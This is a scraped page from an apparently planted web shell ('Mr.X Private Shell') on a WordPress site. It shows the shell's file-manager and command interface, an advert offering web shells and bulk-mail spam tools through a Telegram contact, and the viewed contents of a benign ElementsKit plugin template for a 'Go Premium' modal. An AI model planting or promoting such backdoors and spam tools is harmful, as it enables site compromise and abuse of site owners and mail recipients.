__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
defined( 'ABSPATH' ) || exit;

$current_tier = \ElementsKit_Lite\Utils::get_tier();
$is_pro_active = \ElementsKit_Lite\Utils::ekit_is_plugin_active( 'elementskit/elementskit.php' );

if ( $is_pro_active && $current_tier === 'free' ) {
	// Pro plugin active but license not activated
	$modal_title = esc_html__( 'Activate Your License', 'elementskit-lite' );
	$modal_desc  = sprintf(
		/* translators: %1$s: opening anchor tag, %2$s: closing anchor tag */
		esc_html__( 'ElementsKit Pro is installed but your license is not activated. Please %1$sactivate your license%2$s to unlock all pro features.', 'elementskit-lite' ),
		'<a href="' . esc_url( admin_url( 'admin.php?page=elementskit-license' ) ) . '">',
		'</a>'
	);
} elseif ( $is_pro_active && $current_tier !== 'free' ) {
	// Pro active with a paid tier, but feature requires higher tier
	$modal_title = esc_html__( 'Upgrade Your Plan', 'elementskit-lite' );
	$modal_desc  = sprintf(
		/* translators: %1$s: current tier name, %2$s: opening anchor tag, %3$s: closing anchor tag */
		esc_html__( 'Your current %1$s plan doesn\'t include this feature. %2$sUpgrade your plan%3$s to unlock this and other advanced features.', 'elementskit-lite' ),
		'<strong>' . esc_html( ucfirst( $current_tier ) ) . '</strong>',
		'<a target="_blank" href="https://wpmet.com/elementskit-pricing">',
		'</a>'
	);
} else {
	$modal_title = esc_html__( 'Go Premium', 'elementskit-lite' );
	$modal_desc  = sprintf(
		/* translators: %1$s: opening anchor tag, %2$s: closing anchor tag */
		esc_html__( 'Purchase our %1$spro version%2$s to unlock these premium features!', 'elementskit-lite' ),
		'<a target="_blank" href="https://wpmet.com/elementskit-pricing">',
		'</a>'
	);
}
?>

<div class="attr-modal attr-fade ekit-wid-con" id="elementskit_go_pro_modal" tabindex="-1" role="dialog" aria-labelledby="elementskit_go_pro_modalLabel" style="display: none;">
	<div class="attr-modal-dialog attr-modal-dialog-centered ekit-go-pro-con" role="document">
        <div class="attr-modal-content">
        <button type="button" class="close attr-hidden" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
            <div class="attr-modal-body attr-text-center">
                <i class="icon icon-information"></i>
                <h2><?php echo esc_html( $modal_title ); ?></h2>
                <p><?php echo wp_kses( $modal_desc, [ 'a' => [ 'href' => [], 'target' => [] ], 'strong' => [] ] ); ?></p>
            </div>
        </div>
	</div>
</div>

Filemanager

Name Type Size Permission Actions
modal.php File 2.47 KB 0664
Filemanager